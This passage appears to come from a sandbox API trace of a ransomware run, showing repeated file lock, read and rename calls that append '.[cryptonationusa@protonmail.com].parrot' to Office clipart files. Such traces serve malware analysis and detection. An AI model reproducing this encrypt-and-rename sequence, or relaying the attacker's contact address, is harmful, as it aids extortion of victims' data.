nNumberOfBytesToLockHigh=0x0) returned 1 [0142.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.450] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.451] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.451] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8d86, lpOverlapped=0x0) returned 1 [0142.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.453] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.453] CloseHandle (hObject=0x27c) returned 1 [0142.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.456] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e39, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.456] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.456] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.458] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.458] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d21, lpOverlapped=0x0) returned 1 [0142.459] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.461] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e39, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.461] CloseHandle (hObject=0x27c) returned 1 [0142.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.464] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fa2, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.464] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.466] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9e8a, lpOverlapped=0x0) returned 1 [0142.468] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.469] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fa2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.469] CloseHandle (hObject=0x27c) returned 1 [0142.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.472] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.472] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.473] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2590, lpOverlapped=0x0) returned 1 [0142.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.476] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.476] CloseHandle (hObject=0x27c) returned 1 [0142.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.481] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.481] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.482] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.482] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20e4, lpOverlapped=0x0) returned 1 [0142.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.484] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.484] CloseHandle (hObject=0x27c) returned 1 [0142.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.487] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7bbe, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.487] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.487] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.488] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7aa6, lpOverlapped=0x0) returned 1 [0142.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.491] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7bbe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.491] CloseHandle (hObject=0x27c) returned 1 [0142.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.496] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.496] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.496] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.497] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.498] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b64, lpOverlapped=0x0) returned 1 [0142.499] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.499] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.499] CloseHandle (hObject=0x27c) returned 1 [0142.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.503] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3770, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.503] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.503] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.505] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3658, lpOverlapped=0x0) returned 1 [0142.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.507] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3770, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.507] CloseHandle (hObject=0x27c) returned 1 [0142.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.511] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.511] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.554] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b56, lpOverlapped=0x0) returned 1 [0142.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.557] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.557] CloseHandle (hObject=0x27c) returned 1 [0142.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.561] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13be, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12a6, lpOverlapped=0x0) returned 1 [0142.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.564] CloseHandle (hObject=0x27c) returned 1 [0142.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.567] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.567] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17be, lpOverlapped=0x0) returned 1 [0142.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.570] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.570] CloseHandle (hObject=0x27c) returned 1 [0142.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.574] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.574] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.575] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x37de, lpOverlapped=0x0) returned 1 [0142.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.577] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.577] CloseHandle (hObject=0x27c) returned 1 [0142.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.581] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6298, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.581] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.583] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6180, lpOverlapped=0x0) returned 1 [0142.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.585] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6298, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.585] CloseHandle (hObject=0x27c) returned 1 [0142.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.589] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.589] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.591] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21b2, lpOverlapped=0x0) returned 1 [0142.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.592] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.592] CloseHandle (hObject=0x27c) returned 1 [0142.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.595] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe544, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.595] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, 